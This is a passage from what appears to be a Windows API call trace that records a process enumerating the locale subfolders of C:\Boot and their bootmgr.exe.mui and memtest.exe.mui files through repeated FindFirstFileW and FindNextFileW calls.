[0052.919] FindNextFileW (in: hFindFile=0x42607c0, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fdc0d7, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa7a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0052.919] FindClose (in: hFindFile=0x42607c0 | out: hFindFile=0x42607c0) returned 1 [0052.919] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4271060 | out: hHeap=0x6a0000) returned 1 [0052.919] FindNextFileW (in: hFindFile=0x4260080, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="lt-LT", cAlternateFileName="")) returned 1 [0052.919] FindFirstFileW (in: lpFileName="C:\\Boot\\lt-LT\\*", lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260600 [0052.919] FindNextFileW (in: hFindFile=0x4260600, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.919] FindNextFileW (in: hFindFile=0x4260600, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2117a634, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0052.919] FindNextFileW (in: hFindFile=0x4260600, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2117a634, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0052.919] FindClose (in: hFindFile=0x4260600 | out: hFindFile=0x4260600) returned 1 [0052.919] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4271060 | out: hHeap=0x6a0000) returned 1 [0052.919] FindNextFileW (in: hFindFile=0x4260080, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="lv-LV", cAlternateFileName="")) returned 1 [0052.919] FindFirstFileW (in: lpFileName="C:\\Boot\\lv-LV\\*", lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260440 [0052.920] FindNextFileW (in: hFindFile=0x4260440, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.920] FindNextFileW (in: hFindFile=0x4260440, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2117a634, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12758, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0052.920] FindNextFileW (in: hFindFile=0x4260440, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2117a634, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12758, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0052.920] FindClose (in: hFindFile=0x4260440 | out: hFindFile=0x4260440) returned 1 [0052.920] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4271060 | out: hHeap=0x6a0000) returned 1 [0052.920] FindNextFileW (in: hFindFile=0x4260080, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6196d8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfbcf473f, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0xc63a0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0052.920] FindNextFileW (in: hFindFile=0x4260080, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e138, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef62cf52, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0052.920] FindFirstFileW (in: lpFileName="C:\\Boot\\nb-NO\\*", lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e138, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef62cf52, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42600c0 [0052.921] FindNextFileW (in: hFindFile=0x42600c0, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e138, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef62cf52, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.921] FindNextFileW (in: hFindFile=0x42600c0, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x211543da, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0052.921] FindNextFileW (in: hFindFile=0x42600c0, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef62cf52, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fb5e6c, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0052.921] FindNextFileW (in: hFindFile=0x42600c0, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef62cf52, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fb5e6c, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0052.921] FindClose (in: hFindFile=0x42600c0 | out: hFindFile=0x42600c0) returned 1 [0052.921] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4271060 | out: hHeap=0x6a0000) returned 1 [0052.921] FindNextFileW (in: hFindFile=0x4260080, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e4fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6407cf, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0052.921] FindFirstFileW (in: lpFileName="C:\\Boot\\nl-NL\\*", lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e4fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6407cf, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42603c0 [0052.922] FindNextFileW (in: hFindFile=0x42603c0, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e4fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6407cf, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.922] FindNextFileW (in: hFindFile=0x42603c0, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x211543da, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13160, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0052.922] FindNextFileW (in: hFindFile=0x42603c0, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6407cf, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fb5e6c, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0052.922] FindNextFileW (in: hFindFile=0x42603c0, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6407cf, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fb5e6c, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0052.922] FindClose (in: hFindFile=0x42603c0 | out: hFindFile=0x42603c0) returned 1 [0052.922] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4271060 | out: hHeap=0x6a0000) returned 1 [0052.922] FindNextFileW (in: hFindFile=0x4260080, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef65403a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0052.922] FindFirstFileW (in: lpFileName="C:\\Boot\\pl-PL\\*", lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef65403a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42600c0 [0052.923] FindNextFileW (in: hFindFile=0x42600c0, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef65403a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.923] FindNextFileW (in: hFindFile=0x42600c0, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2112e17f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f58, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0052.923] FindNextFileW (in: hFindFile=0x42600c0, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0052.923] FindNextFileW (in: hFindFile=0x42600c0, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0052.923] FindClose (in: hFindFile=0x42600c0 | out: hFindFile=0x42600c0) returned 1 [0052.923] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4271060 | out: hHeap=0x6a0000) returned 1 [0052.923] FindNextFileW (in: hFindFile=0x4260080, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6678d6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6678d6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0052.923] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-BR\\*", lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6678d6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6678d6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42607c0 [0052.924] FindNextFileW (in: hFindFile=0x42607c0, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6678d6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6678d6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.924] FindNextFileW (in: hFindFile=0x42607c0, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2112e17f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0052.924] FindNextFileW (in: hFindFile=0x42607c0, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65dc94, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0052.924] FindNextFileW (in: hFindFile=0x42607c0, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65dc94, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0052.924] FindClose (in: hFindFile=0x42607c0 | out: hFindFile=0x42607c0) returned 1 [0052.924] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4271060 | out: hHeap=0x6a0000) returned 1 [0052.924] FindNextFileW (in: hFindFile=0x4260080, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f167, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6714dc, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0052.924] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-PT\\*", lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f167, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6714dc, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260280 [0052.925] FindNextFileW (in: hFindFile=0x4260280, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f167, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6714dc, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.925] FindNextFileW (in: hFindFile=0x4260280, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2112e17f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0052.925] FindNextFileW (in: hFindFile=0x4260280, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6714dc, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0052.925] FindNextFileW (in: hFindFile=0x4260280, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6714dc, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0052.925] FindClose (in: hFindFile=0x4260280 | out: hFindFile=0x4260280) returned 1 [0052.925] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4271060 | out: hHeap=0x6a0000) returned 1 [0052.925] FindNextFileW (in: hFindFile=0x4260080, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f640, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef684d85, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="qps-ploc", cAlternateFileName="")) returned 1 [0052.925] FindFirstFileW (in: lpFileName="C:\\Boot\\qps-ploc\\*", lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f640, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef684d85, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260500 [0052.925] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, 